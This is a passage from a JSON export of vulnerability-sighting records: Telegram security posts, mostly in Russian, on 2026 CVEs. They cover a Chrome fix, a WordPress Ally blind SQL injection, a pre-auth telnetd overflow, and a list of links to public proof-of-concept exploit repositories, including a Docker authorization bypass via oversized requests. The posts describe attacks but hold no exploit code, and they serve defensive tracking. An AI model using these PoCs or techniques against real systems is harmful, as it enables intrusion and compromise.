\u0438\u0441\u0442\u043e\u0440\u0438\u0438 \u0438\u0437\u043c\u0435\u043d\u0435\u043d\u0438\u0439 Chromium, \u0432\u044b\u043f\u0443\u0449\u0435\u043d\u043d\u043e\u0435 \u0438\u0441\u043f\u0440\u0430\u0432\u043b\u0435\u043d\u0438\u0435 \u0437\u0430\u043a\u0440\u044b\u0432\u0430\u0435\u0442 \u043b\u0438\u0448\u044c \u043d\u0430\u0438\u0431\u043e\u043b\u0435\u0435 \u043e\u0441\u0442\u0440\u0443\u044e \u0447\u0430\u0441\u0442\u044c \u043f\u0440\u043e\u0431\u043b\u0435\u043c\u044b. \u0420\u0430\u0437\u0440\u0430\u0431\u043e\u0442\u0447\u0438\u043a\u0438 \u043f\u0440\u044f\u043c\u043e \u0443\u043a\u0430\u0437\u0430\u043b\u0438, \u0447\u0442\u043e \u0440\u0430\u0431\u043e\u0442\u0430 \u043f\u043e \u0441\u0432\u044f\u0437\u0430\u043d\u043d\u043e\u043c\u0443 \u0434\u0435\u0444\u0435\u043a\u0442\u0443 \u0435\u0449\u0451 \u043f\u0440\u043e\u0434\u043e\u043b\u0436\u0430\u0435\u0442\u0441\u044f, \u0430 \u0437\u043d\u0430\u0447\u0438\u0442 \u043f\u0430\u0442\u0447 \u043c\u043e\u0436\u0435\u0442 \u043e\u043a\u0430\u0437\u0430\u0442\u044c\u0441\u044f \u043f\u0440\u043e\u043c\u0435\u0436\u0443\u0442\u043e\u0447\u043d\u044b\u043c.\n\n\ud83d\udce6\u0418\u0441\u043f\u0440\u0430\u0432\u043b\u0435\u043d\u043d\u044b\u0435 \u0432\u0435\u0440\u0441\u0438\u0438 \u0443\u0436\u0435 \u0440\u0430\u0441\u043f\u0440\u043e\u0441\u0442\u0440\u0430\u043d\u044f\u044e\u0442\u0441\u044f \u0432 \u0441\u0442\u0430\u0431\u0438\u043b\u044c\u043d\u043e\u043c \u043a\u0430\u043d\u0430\u043b\u0435: \u0434\u043b\u044f Windows \u0438 macOS \u044d\u0442\u043e \u0441\u0431\u043e\u0440\u043a\u0438 145.0.7632.75 \u0438 145.0.7632.76, \u0434\u043b\u044f Linux \u2014 144.0.7559.75. \u0411\u0440\u0430\u0443\u0437\u0435\u0440 \u043c\u043e\u0436\u0435\u0442 \u0443\u0441\u0442\u0430\u043d\u043e\u0432\u0438\u0442\u044c \u043e\u0431\u043d\u043e\u0432\u043b\u0435\u043d\u0438\u0435 \u0441\u0430\u043c\u043e\u0441\u0442\u043e\u044f\u0442\u0435\u043b\u044c\u043d\u043e \u043f\u043e\u0441\u043b\u0435 \u043f\u0435\u0440\u0435\u0437\u0430\u043f\u0443\u0441\u043a\u0430, \u0435\u0441\u043b\u0438 \u0432\u043a\u043b\u044e\u0447\u0435\u043d\u0430 \u0430\u0432\u0442\u043e\u043c\u0430\u0442\u0438\u0447\u0435\u0441\u043a\u0430\u044f \u043f\u0440\u043e\u0432\u0435\u0440\u043a\u0430.\n\n#chrome #\u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c #zeroday #\u043a\u0438\u0431\u0435\u0440\u0431\u0435\u0437\u043e\u043f\u0430\u0441\u043d\u043e\u0441\u0442\u044c\n\n@ZerodayAlert", "creation_timestamp": "2026-07-26T00:00:33.557297Z"}, {"uuid": "b2bd8d82-921b-415f-964e-5f9ea9a0cab4", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-2441", "type": "seen", "source": "https://t.me/CyberSecurityExploit/17189", "content": "\u26a0\ufe0f CVE / ZERO-DAY\n\ud83d\udd25 GitHub Fresh PoC CVE TOP 5 (Today / Verified & Non-Posted Priority)\nBelow are latest 2026 CVEs with real GitHub PoC repositories (strictly validated).\n\n\u2796\u2796\u2796\u2796\n\n1\ufe0f\u20e3 CVE-2026-1668\n\ud83c\udfaf Firmware Exploit \u2013 Memory Corruption \u2192 RCE\n\n\ud83d\udd17 PoC Repository\n\u27a1\ufe0f https://github.com/tangrs/cve-2026-1668-poc\n\n\ud83e\udde0 Overview\nA firmware-level vulnerability enabling memory corruption and potential remote code execution. Active PoC confirms exploit feasibility.\n\n\u2699\ufe0f Impact\n\u2022 Remote code execution\n\u2022 Firmware compromise\n\u2022 Embedded system takeover\n\n\u2796\u2796\u2796\u2796\n\n2\ufe0f\u20e3 CVE-2026-2441\n\ud83c\udfaf Google Chrome Blink \u2013 Use-After-Free \u2192 RCE\n\n\ud83d\udd17 PoC Repository\n\u27a1\ufe0f https://github.com/huseyinstif/CVE-2026-2441-PoC\n\n\ud83e\udde0 Overview\nA use-after-free vulnerability in Chrome\u2019s Blink engine enables arbitrary code execution inside the renderer via crafted HTML.\n\n\u2699\ufe0f Impact\n\u2022 Remote code execution\n\u2022 Browser exploitation vector\n\u2022 Potential sandbox escape chaining\n\n\u2796\u2796\u2796\u2796\n\n3\ufe0f\u20e3 CVE-2026-25526\n\ud83c\udfaf Jinjava Template Engine \u2013 SSTI \u2192 RCE\n\n\ud83d\udd17 PoC Repository\n\u27a1\ufe0f https://github.com/av4nth1ka/jinjava-cve-2026-25526-poc\n\n\ud83e\udde0 Overview\nA Server-Side Template Injection vulnerability allowing attackers to execute arbitrary code via crafted template payloads.\n\n\u2699\ufe0f Impact\n\u2022 Remote code execution\n\u2022 Backend compromise\n\u2022 Application takeover\n\n\u2796\u2796\u2796\u2796\n\n4\ufe0f\u20e3 CVE-2026-26030\n\ud83c\udfaf Microsoft Semantic Kernel \u2013 RCE via Vector Store\n\n\ud83d\udd17 PoC Repository\n\u27a1\ufe0f https://github.com/mbanyamer/CVE-2026-26030-Microsoft-Semantic-Kernel-1.39.4-RCE\n\n\ud83e\udde0 Overview\nA vulnerability in Microsoft Semantic Kernel allows code execution via unsafe vector store handling. Public PoC confirms exploitability.\n\n\u2699\ufe0f Impact\n\u2022 Remote code execution\n\u2022 AI / LLM pipeline compromise\n\u2022 Data processing abuse\n\n\u2796\u2796\u2796\u2796\n\n5\ufe0f\u20e3 CVE-2026-34040\n\ud83c\udfaf Docker Engine \u2013 AuthZ Bypass \u2192 Privileged Container (RCE Chain)\n\n\ud83d\udd17 PoC / Exploit Context\n\u27a1\ufe0f https://github.com/moby/moby/security/advisories/GHSA-x744-4wpc-v9h2\n\n\ud83e\udde0 Overview\nA critical authorization bypass in Docker Engine allows attackers to bypass security plugins by sending oversized HTTP requests. The request body is truncated before validation, enabling malicious container creation with elevated privileges.\n\n\u2699\ufe0f Impact\n\u2022 Authorization bypass\n\u2022 Privileged container creation (root access)\n\u2022 Full host compromise via container escape\n\u2022 CI/CD & cloud infrastructure risk\n\n\u2796\u2796\u2796\u2796\n\n\ud83d\udcda Research Value\n\u2022 Firmware exploitation techniques\n\u2022 Browser memory corruption exploitation\n\u2022 SSTI \u2192 backend RCE chains\n\u2022 AI/LLM framework attack surface\n\u2022 Modern web framework bypass techniques\n\n\u26a0\ufe0f Intelligence Note\nCurrent GitHub trend:\n\u2022 Strict PoC validation required (fake links increasing)\n\u2022 Browser & AI-related vulnerabilities rising\n\u2022 RCE chains often start from logic bypass\n\u2022 Real exploit repos are limited but high quality\n\n\ud83e\udde0 Cyber Security Exploit Research Community\nMalware Analysis | Reverse Engineering | CVE Research | Threat Intelligence\n\n\u2796\u2796\u2796\u2796\u2796\u2796\u2796\u2796\u2796\u2796\n\n\ud83d\udd10 Cyber Security Exploit Community\nTelegram Group\nhttps://t.me/Cyber_Security_Exploit\n\nTelegram Channel\nhttps://t.me/CyberSecurityExploit\n\nResearch \u2022 Ethical Hacking \u2022 Red Team", "creation_timestamp": "2026-08-27T20:00:04.999879Z"}, {"uuid": "0430ad76-668d-4192-a613-18df5225ccce", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-2413", "type": "seen", "source": "https://t.me/ZerodayAlert/636", "content": "\u0423\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c \u0432 Ally \u043f\u043e\u043a\u0430\u0437\u0430\u043b\u0430 \u0441\u043b\u0430\u0431\u043e\u0435 \u043c\u0435\u0441\u0442\u043e \u044d\u043a\u043e\u0441\u0438\u0441\u0442\u0435\u043c\u044b WordPress\n\n\u0412 WordPress-\u043f\u043b\u0430\u0433\u0438\u043d\u0435 Ally \u043e\u0442 Elementor \u043e\u0431\u043d\u0430\u0440\u0443\u0436\u0438\u043b\u0438 \u043a\u0440\u0438\u0442\u0438\u0447\u0435\u0441\u043a\u0443\u044e \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c CVE-2026-2413. \u041e\u0448\u0438\u0431\u043a\u0430 \u043f\u043e\u0437\u0432\u043e\u043b\u044f\u0435\u0442 \u043f\u043e\u043b\u0443\u0447\u0430\u0442\u044c \u0434\u043e\u0441\u0442\u0443\u043f \u043a \u0434\u0430\u043d\u043d\u044b\u043c \u0431\u0435\u0437 \u0430\u0432\u0442\u043e\u0440\u0438\u0437\u0430\u0446\u0438\u0438 \u0447\u0435\u0440\u0435\u0437 \u0432\u043d\u0435\u0434\u0440\u0435\u043d\u0438\u0435 SQL-\u0437\u0430\u043f\u0440\u043e\u0441\u043e\u0432. \u041d\u0430 \u043f\u0435\u0440\u0432\u044b\u0439 \u0432\u0437\u0433\u043b\u044f\u0434 \u043d\u043e\u0432\u043e\u0441\u0442\u044c \u043f\u0440\u043e \u043e\u0447\u0435\u0440\u0435\u0434\u043d\u0443\u044e SQL-\u0438\u043d\u044a\u0435\u043a\u0446\u0438\u044e, \u043d\u043e \u0432 \u0440\u0435\u0430\u043b\u044c\u043d\u043e\u0441\u0442\u0438 \u0441\u043b\u0443\u0447\u0430\u0439 \u0438\u043d\u0442\u0435\u0440\u0435\u0441\u043d\u0435\u0435: \u043f\u0440\u043e\u0431\u043b\u0435\u043c\u0430 \u0432\u043e\u0437\u043d\u0438\u043a\u043b\u0430 \u0432 \u043c\u0430\u0441\u0441\u043e\u0432\u043e\u043c \u0440\u0430\u0441\u0448\u0438\u0440\u0435\u043d\u0438\u0438, \u043a\u043e\u0442\u043e\u0440\u043e\u0435 \u0441\u0442\u0430\u0432\u044f\u0442 \u043d\u0435 \u0440\u0430\u0434\u0438 \u044d\u043a\u0441\u043f\u0435\u0440\u0438\u043c\u0435\u043d\u0442\u043e\u0432, \u0430 \u043a\u0430\u043a \u0448\u0442\u0430\u0442\u043d\u044b\u0439 \u0438\u043d\u0441\u0442\u0440\u0443\u043c\u0435\u043d\u0442 \u0434\u043b\u044f \u043f\u043e\u0432\u044b\u0448\u0435\u043d\u0438\u044f \u0434\u043e\u0441\u0442\u0443\u043f\u043d\u043e\u0441\u0442\u0438 \u0441\u0430\u0439\u0442\u0430.\n\n\u041a\u043e\u0440\u0435\u043d\u044c \u043f\u0440\u043e\u0431\u043b\u0435\u043c\u044b \u0441\u0432\u044f\u0437\u0430\u043d \u0441 \u043e\u0431\u0440\u0430\u0431\u043e\u0442\u043a\u043e\u0439 \u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u0435\u043b\u044c\u0441\u043a\u043e\u0433\u043e \u043f\u0430\u0440\u0430\u043c\u0435\u0442\u0440\u0430 URL. \u0424\u0443\u043d\u043a\u0446\u0438\u044f get_global_remediations() \u0434\u043e\u0431\u0430\u0432\u043b\u044f\u043b\u0430 \u0437\u043d\u0430\u0447\u0435\u043d\u0438\u0435 \u0432 SQL-\u0437\u0430\u043f\u0440\u043e\u0441 \u0431\u0435\u0437 \u043f\u043e\u043b\u043d\u043e\u0446\u0435\u043d\u043d\u043e\u0439 \u043e\u0447\u0438\u0441\u0442\u043a\u0438, \u0430 \u043f\u0440\u0438\u043c\u0435\u043d\u0451\u043d\u043d\u0430\u044f \u0437\u0430\u0449\u0438\u0442\u0430 \u0447\u0435\u0440\u0435\u0437 esc_url_raw() \u043e\u043a\u0430\u0437\u0430\u043b\u0430\u0441\u044c \u0437\u0430\u0449\u0438\u0442\u043e\u0439 \u043d\u0435 \u043e\u0442 \u0442\u043e\u0439 \u0443\u0433\u0440\u043e\u0437\u044b. \u0414\u043b\u044f \u0440\u0430\u0437\u0440\u0430\u0431\u043e\u0442\u0447\u0438\u043a\u0430 \u0440\u0430\u0437\u043d\u0438\u0446\u0430 \u043f\u0440\u0438\u043d\u0446\u0438\u043f\u0438\u0430\u043b\u044c\u043d\u0430\u044f: \u043e\u0434\u043d\u0430 \u0444\u0443\u043d\u043a\u0446\u0438\u044f \u043f\u0440\u043e\u0432\u0435\u0440\u044f\u0435\u0442 \u043a\u043e\u0440\u0440\u0435\u043a\u0442\u043d\u043e\u0441\u0442\u044c URL, \u0434\u0440\u0443\u0433\u0430\u044f \u0437\u0430\u0434\u0430\u0447\u0430 \u0442\u0440\u0435\u0431\u0443\u0435\u0442 \u0436\u0451\u0441\u0442\u043a\u043e \u0438\u0441\u043a\u043b\u044e\u0447\u0438\u0442\u044c \u0432\u043b\u0438\u044f\u043d\u0438\u0435 \u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u0435\u043b\u044c\u0441\u043a\u043e\u0433\u043e \u0432\u0432\u043e\u0434\u0430 \u043d\u0430 \u0441\u0442\u0440\u0443\u043a\u0442\u0443\u0440\u0443 SQL. \u041a\u043e\u0433\u0434\u0430 \u044d\u0442\u0438 \u0443\u0440\u043e\u0432\u043d\u0438 \u0437\u0430\u0449\u0438\u0442\u044b \u043f\u0443\u0442\u0430\u044e\u0442, \u043f\u043e\u044f\u0432\u043b\u044f\u044e\u0442\u0441\u044f \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0438, \u043a\u043e\u0442\u043e\u0440\u044b\u0435 \u0443\u0434\u043e\u0431\u043d\u043e \u044d\u043a\u0441\u043f\u043b\u0443\u0430\u0442\u0438\u0440\u043e\u0432\u0430\u0442\u044c \u0434\u0430\u0436\u0435 \u0431\u0435\u0437 \u043f\u0440\u044f\u043c\u043e\u0433\u043e \u0434\u043e\u0441\u0442\u0443\u043f\u0430 \u043a \u043f\u0430\u043d\u0435\u043b\u0438 \u0443\u043f\u0440\u0430\u0432\u043b\u0435\u043d\u0438\u044f. \u0412 \u0434\u0430\u043d\u043d\u043e\u043c \u0441\u043b\u0443\u0447\u0430\u0435 \u0440\u0435\u0447\u044c \u0438\u0434\u0451\u0442 \u043e \u0441\u043b\u0435\u043f\u043e\u0439 SQL-\u0438\u043d\u044a\u0435\u043a\u0446\u0438\u0438 \u043f\u043e \u0432\u0440\u0435\u043c\u0435\u043d\u0438 \u043e\u0442\u0432\u0435\u0442\u0430, \u0430 \u0442\u0430\u043a\u043e\u0439 \u043f\u043e\u0434\u0445\u043e\u0434 \u0447\u0430\u0441\u0442\u043e \u043d\u0435\u0434\u043e\u043e\u0446\u0435\u043d\u0438\u0432\u0430\u044e\u0442 \u0434\u043e \u043f\u0435\u0440\u0432\u043e\u0433\u043e \u0440\u0435\u0430\u043b\u044c\u043d\u043e\u0433\u043e \u0438\u043d\u0446\u0438\u0434\u0435\u043d\u0442\u0430.\n\n\u041f\u043e\u043a\u0430\u0437\u0430\u0442\u0435\u043b\u044c\u043d\u0435\u0435 \u0432\u0441\u0435\u0433\u043e \u0441\u0442\u0430\u0442\u0438\u0441\u0442\u0438\u043a\u0430 \u043f\u043e\u0441\u043b\u0435 \u0432\u044b\u0445\u043e\u0434\u0430 \u043f\u0430\u0442\u0447\u0430. \u0418\u0441\u043f\u0440\u0430\u0432\u043b\u0435\u043d\u0438\u0435 \u0434\u043e\u0441\u0442\u0443\u043f\u043d\u043e \u0432 Ally 4.1.0, \u043d\u043e \u043e\u0431\u043d\u043e\u0432\u043b\u0435\u043d\u0438\u0435 \u0443\u0441\u0442\u0430\u043d\u043e\u0432\u0438\u043b\u0430 \u043b\u0438\u0448\u044c \u0447\u0430\u0441\u0442\u044c \u0441\u0430\u0439\u0442\u043e\u0432, \u0438 \u0431\u043e\u043b\u0435\u0435 250 \u0442\u044b\u0441\u044f\u0447 \u0440\u0435\u0441\u0443\u0440\u0441\u043e\u0432 \u043f\u0440\u043e\u0434\u043e\u043b\u0436\u0430\u044e\u0442 \u0440\u0430\u0431\u043e\u0442\u0430\u0442\u044c \u043d\u0430 \u0443\u044f\u0437\u0432\u0438\u043c\u044b\u0445 \u0432\u0435\u0440\u0441\u0438\u044f\u0445. \u0414\u043b\u044f \u0440\u044b\u043d\u043a\u0430 WordPress \u043f\u0440\u043e\u0431\u043b\u0435\u043c\u0430 \u0434\u0430\u0432\u043d\u043e \u0448\u0438\u0440\u0435 \u043a\u043e\u043d\u043a\u0440\u0435\u0442\u043d\u043e\u0433\u043e \u043f\u043b\u0430\u0433\u0438\u043d\u0430: \u043e\u043a\u043d\u043e \u043c\u0435\u0436\u0434\u0443 \u043f\u0443\u0431\u043b\u0438\u043a\u0430\u0446\u0438\u0435\u0439 \u0438\u0441\u043f\u0440\u0430\u0432\u043b\u0435\u043d\u0438\u044f \u0438 \u043c\u0430\u0441\u0441\u043e\u0432\u044b\u043c \u043e\u0431\u043d\u043e\u0432\u043b\u0435\u043d\u0438\u0435\u043c \u043e\u0441\u0442\u0430\u0451\u0442\u0441\u044f \u0434\u043e\u0441\u0442\u0430\u0442\u043e\u0447\u043d\u043e \u0431\u043e\u043b\u044c\u0448\u0438\u043c, \u0447\u0442\u043e\u0431\u044b \u043b\u044e\u0431\u0430\u044f \u0442\u0435\u0445\u043d\u0438\u0447\u0435\u0441\u043a\u0438 \u043d\u0435\u0441\u043b\u043e\u0436\u043d\u0430\u044f \u043e\u0448\u0438\u0431\u043a\u0430 \u043f\u0440\u0435\u0432\u0440\u0430\u0449\u0430\u043b\u0430\u0441\u044c \u0432 \u043c\u0430\u0441\u0441\u043e\u0432\u044b\u0439 \u0440\u0438\u0441\u043a. \u0418\u043c\u0435\u043d\u043d\u043e \u043f\u043e\u044d\u0442\u043e\u043c\u0443 \u043f\u043e\u0434\u043e\u0431\u043d\u044b\u0435 \u0438\u0441\u0442\u043e\u0440\u0438\u0438 \u0447\u0438\u0442\u0430\u044e\u0442\u0441\u044f \u0443\u0436\u0435 \u043d\u0435 \u043a\u0430\u043a \u043b\u043e\u043a\u0430\u043b\u044c\u043d\u044b\u0439 \u0441\u0431\u043e\u0439 \u043e\u0434\u043d\u043e\u0433\u043e \u043f\u0440\u043e\u0434\u0443\u043a\u0442\u0430, \u0430 \u043a\u0430\u043a \u0441\u0438\u043c\u043f\u0442\u043e\u043c \u0432\u0441\u0435\u0439 \u043c\u043e\u0434\u0435\u043b\u0438 \u0441\u043e\u043f\u0440\u043e\u0432\u043e\u0436\u0434\u0435\u043d\u0438\u044f \u0440\u0430\u0441\u0448\u0438\u0440\u0435\u043d\u0438\u0439.\n\n#wordpress #elementor #\u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c #\u0431\u0435\u0437\u043e\u043f\u0430\u0441\u043d\u043e\u0441\u0442\u044c", "creation_timestamp": "2026-07-26T00:00:35.343162Z"}, {"uuid": "f5d59d52-e7fe-4ebc-8993-2e8c96f5f4ca", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-24061", "type": "seen", "source": "https://t.me/ZerodayAlert/638", "content": "\u041a\u0440\u0438\u0442\u0438\u0447\u0435\u0441\u043a\u0430\u044f \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c Telnet: \u043a\u043e\u0434 \u0432\u044b\u043f\u043e\u043b\u043d\u044f\u0435\u0442\u0441\u044f \u0434\u043e \u0432\u0432\u043e\u0434\u0430 \u043f\u0430\u0440\u043e\u043b\u044f\n\n\ud83d\udd13 \u0412 GNU InetUtils telnetd \u043d\u0430\u0448\u043b\u0438 \u043a\u0440\u0438\u0442\u0438\u0447\u0435\u0441\u043a\u0443\u044e \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c CVE-2026-32746, \u043a\u043e\u0442\u043e\u0440\u0430\u044f \u043b\u043e\u043c\u0430\u0435\u0442 \u0432\u0441\u0435 \u043f\u0440\u0438\u0432\u044b\u0447\u043d\u044b\u0435 \u043f\u0440\u0430\u0432\u0438\u043b\u0430. \u041e\u0431\u044b\u0447\u043d\u043e \u0434\u043b\u044f \u0432\u0437\u043b\u043e\u043c\u0430 \u043d\u0443\u0436\u043d\u043e \u0445\u043e\u0442\u044f \u0431\u044b \u043f\u0440\u043e\u0439\u0442\u0438 \u0430\u0443\u0442\u0435\u043d\u0442\u0438\u0444\u0438\u043a\u0430\u0446\u0438\u044e, \u043f\u043e\u0434\u043e\u0431\u0440\u0430\u0442\u044c \u043f\u0430\u0440\u043e\u043b\u044c, \u043f\u043e\u043b\u0443\u0447\u0438\u0442\u044c \u0434\u043e\u0441\u0442\u0443\u043f \u043a \u0441\u0438\u0441\u0442\u0435\u043c\u0435. \u0417\u0434\u0435\u0441\u044c \u0434\u043e\u0441\u0442\u0430\u0442\u043e\u0447\u043d\u043e \u043f\u043e\u0434\u043a\u043b\u044e\u0447\u0438\u0442\u044c\u0441\u044f \u043a \u043f\u043e\u0440\u0442\u0443 23 \u0438 \u043e\u0442\u043f\u0440\u0430\u0432\u0438\u0442\u044c \u0441\u043f\u0435\u0446\u0438\u0430\u043b\u044c\u043d\u043e \u0441\u0444\u043e\u0440\u043c\u0438\u0440\u043e\u0432\u0430\u043d\u043d\u043e\u0435 \u0441\u043e\u043e\u0431\u0449\u0435\u043d\u0438\u0435 \u043d\u0430 \u044d\u0442\u0430\u043f\u0435 \u043d\u0430\u0447\u0430\u043b\u044c\u043d\u043e\u0433\u043e \u0441\u043e\u0433\u043b\u0430\u0441\u043e\u0432\u0430\u043d\u0438\u044f \u043f\u0440\u043e\u0442\u043e\u043a\u043e\u043b\u0430 \u2014 \u0435\u0449\u0435 \u0434\u043e \u043f\u043e\u044f\u0432\u043b\u0435\u043d\u0438\u044f \u043f\u0440\u0438\u0433\u043b\u0430\u0448\u0435\u043d\u0438\u044f \u043a\u043e \u0432\u0445\u043e\u0434\u0443. \u041f\u0440\u043e\u0431\u043b\u0435\u043c\u0430 \u0432 \u043e\u0431\u0440\u0430\u0431\u043e\u0442\u0447\u0438\u043a\u0435 \u043f\u043e\u0434\u043e\u043f\u0446\u0438\u0438 LINEMODE, \u043a\u043e\u0442\u043e\u0440\u044b\u0439 \u0438\u0437-\u0437\u0430 \u043d\u0435\u043a\u043e\u0440\u0440\u0435\u043a\u0442\u043d\u043e\u0439 \u0440\u0430\u0431\u043e\u0442\u044b \u0441 \u0434\u0430\u043d\u043d\u044b\u043c\u0438 \u0434\u043e\u043f\u0443\u0441\u043a\u0430\u0435\u0442 \u043f\u0435\u0440\u0435\u043f\u043e\u043b\u043d\u0435\u043d\u0438\u0435 \u0431\u0443\u0444\u0435\u0440\u0430. \u0414\u0430\u043b\u044c\u0448\u0435 \u2014 \u0441\u0442\u0430\u043d\u0434\u0430\u0440\u0442\u043d\u0430\u044f \u0446\u0435\u043f\u043e\u0447\u043a\u0430 \u0434\u043e \u0443\u0434\u0430\u043b\u0435\u043d\u043d\u043e\u0433\u043e \u0432\u044b\u043f\u043e\u043b\u043d\u0435\u043d\u0438\u044f \u043a\u043e\u0434\u0430.\n\n\u26a1\ufe0f \u041f\u043e\u0441\u043b\u0435 \u0437\u0430\u0445\u0432\u0430\u0442\u0430 \u043e\u0442\u043a\u0440\u044b\u0432\u0430\u044e\u0442\u0441\u044f \u0432\u0441\u0435 \u0434\u0432\u0435\u0440\u0438: \u0443\u0441\u0442\u0430\u043d\u043e\u0432\u043a\u0430 \u043f\u043e\u0441\u0442\u043e\u044f\u043d\u043d\u044b\u0445 \u0437\u0430\u043a\u043b\u0430\u0434\u043e\u043a, \u043a\u0440\u0430\u0436\u0430 \u0434\u0430\u043d\u043d\u044b\u0445, \u043f\u0435\u0440\u0435\u043c\u0435\u0449\u0435\u043d\u0438\u0435 \u043f\u043e \u0438\u043d\u0444\u0440\u0430\u0441\u0442\u0440\u0443\u043a\u0442\u0443\u0440\u0435 \u0438 \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u043d\u0438\u0435 \u0441\u043a\u043e\u043c\u043f\u0440\u043e\u043c\u0435\u0442\u0438\u0440\u043e\u0432\u0430\u043d\u043d\u043e\u0433\u043e \u0443\u0437\u043b\u0430 \u043a\u0430\u043a \u0442\u043e\u0447\u043a\u0438 \u043e\u043f\u043e\u0440\u044b \u0434\u043b\u044f \u043d\u043e\u0432\u044b\u0445 \u0430\u0442\u0430\u043a. \u0418\u0437\u0440\u0430\u0438\u043b\u044c\u0441\u043a\u0430\u044f \u043a\u043e\u043c\u043f\u0430\u043d\u0438\u044f Dream \u043f\u0435\u0440\u0435\u0434\u0430\u043b\u0430 \u0438\u043d\u0444\u043e\u0440\u043c\u0430\u0446\u0438\u044e \u0440\u0430\u0437\u0440\u0430\u0431\u043e\u0442\u0447\u0438\u043a\u0430\u043c 11 \u043c\u0430\u0440\u0442\u0430, \u0438\u0441\u043f\u0440\u0430\u0432\u043b\u0435\u043d\u0438\u0435 \u043e\u0431\u0435\u0449\u0430\u044e\u0442 \u043a 1 \u0430\u043f\u0440\u0435\u043b\u044f.\n\n\ud83d\udea8 \u0421\u0430\u043c\u043e\u0435 \u0442\u0440\u0435\u0432\u043e\u0436\u043d\u043e\u0435 \u2014 \u044d\u0442\u043e \u0443\u0436\u0435 \u0432\u0442\u043e\u0440\u0430\u044f \u043a\u0440\u0438\u0442\u0438\u0447\u0435\u0441\u043a\u0430\u044f \u0434\u044b\u0440\u0430 \u0432 telnetd \u0437\u0430 \u0434\u0432\u0430 \u043c\u0435\u0441\u044f\u0446\u0430. \u0412 \u044f\u043d\u0432\u0430\u0440\u0435 \u0440\u0430\u0441\u043a\u0440\u044b\u043b\u0438 CVE-2026-24061 \u0441 \u0442\u043e\u0439 \u0436\u0435 \u043e\u0446\u0435\u043d\u043a\u043e\u0439 9.8, \u043a\u043e\u0442\u043e\u0440\u0443\u044e \u043f\u043e\u0437\u0436\u0435 \u043d\u0430\u0447\u0430\u043b\u0438 \u0430\u043a\u0442\u0438\u0432\u043d\u043e \u044d\u043a\u0441\u043f\u043b\u0443\u0430\u0442\u0438\u0440\u043e\u0432\u0430\u0442\u044c. Telnet \u0441\u0447\u0438\u0442\u0430\u0435\u0442\u0441\u044f \u0443\u0441\u0442\u0430\u0440\u0435\u0432\u0448\u0438\u043c \u043f\u0440\u043e\u0442\u043e\u043a\u043e\u043b\u043e\u043c, \u043d\u043e \u043f\u0440\u043e\u0434\u043e\u043b\u0436\u0430\u0435\u0442 \u0436\u0438\u0442\u044c \u0432 \u0441\u0442\u0430\u0440\u044b\u0445 Unix-\u0441\u0438\u0441\u0442\u0435\u043c\u0430\u0445, \u0432\u0441\u0442\u0440\u0430\u0438\u0432\u0430\u0435\u043c\u044b\u0445 \u0443\u0441\u0442\u0440\u043e\u0439\u0441\u0442\u0432\u0430\u0445, \u043b\u0430\u0431\u043e\u0440\u0430\u0442\u043e\u0440\u043d\u044b\u0445 \u0441\u0442\u0435\u043d\u0434\u0430\u0445 \u0438 \u0437\u0430\u0431\u044b\u0442\u043e\u0439 \u0438\u043d\u0444\u0440\u0430\u0441\u0442\u0440\u0443\u043a\u0442\u0443\u0440\u0435. \u041f\u043e\u043a\u0430 \u043f\u0430\u0442\u0447\u0430 \u043d\u0435\u0442, \u0435\u0434\u0438\u043d\u0441\u0442\u0432\u0435\u043d\u043d\u044b\u0439 \u043d\u0430\u0434\u0435\u0436\u043d\u044b\u0439 \u0441\u043f\u043e\u0441\u043e\u0431 \u0437\u0430\u0449\u0438\u0442\u044b \u2014 \u043f\u043e\u043b\u043d\u043e\u0441\u0442\u044c\u044e \u043e\u0442\u043a\u043b\u044e\u0447\u0438\u0442\u044c \u0441\u043b\u0443\u0436\u0431\u0443. \u0415\u0441\u043b\u0438 \u044d\u0442\u043e \u043d\u0435\u0432\u043e\u0437\u043c\u043e\u0436\u043d\u043e, \u043d\u0443\u0436\u043d\u043e \u0437\u0430\u043f\u0443\u0441\u043a\u0430\u0442\u044c telnetd \u0431\u0435\u0437 \u043f\u0440\u0430\u0432 root, \u0437\u0430\u043a\u0440\u044b\u0442\u044c \u043f\u043e\u0440\u0442 23 \u043d\u0430 \u043f\u0435\u0440\u0438\u043c\u0435\u0442\u0440\u0435 \u0438 \u0438\u0437\u043e\u043b\u0438\u0440\u043e\u0432\u0430\u0442\u044c \u0434\u043e\u0441\u0442\u0443\u043f \u043d\u0430\u0441\u0442\u043e\u043b\u044c\u043a\u043e, \u043d\u0430\u0441\u043a\u043e\u043b\u044c\u043a\u043e \u043f\u043e\u0437\u0432\u043e\u043b\u044f\u0435\u0442 \u0430\u0440\u0445\u0438\u0442\u0435\u043a\u0442\u0443\u0440\u0430.\n\n#telnet #rce #preauth #\u043a\u0440\u0438\u0442\u0438\u0447\u0435\u0441\u043a\u0430\u044f\u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c", "creation_timestamp": "2026-07-26T00:00:35.513762Z"}, {"uuid": "9a35163b-a3aa-48b6-97f6-60afb9e60bef", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-24072", "type": "seen", "source": "https://t.me/ZerodayAlert/686", "content": "\u0412 Apache \u043d\u0430\u0448\u043b\u0438 \u043f\u044f\u0442\u044c 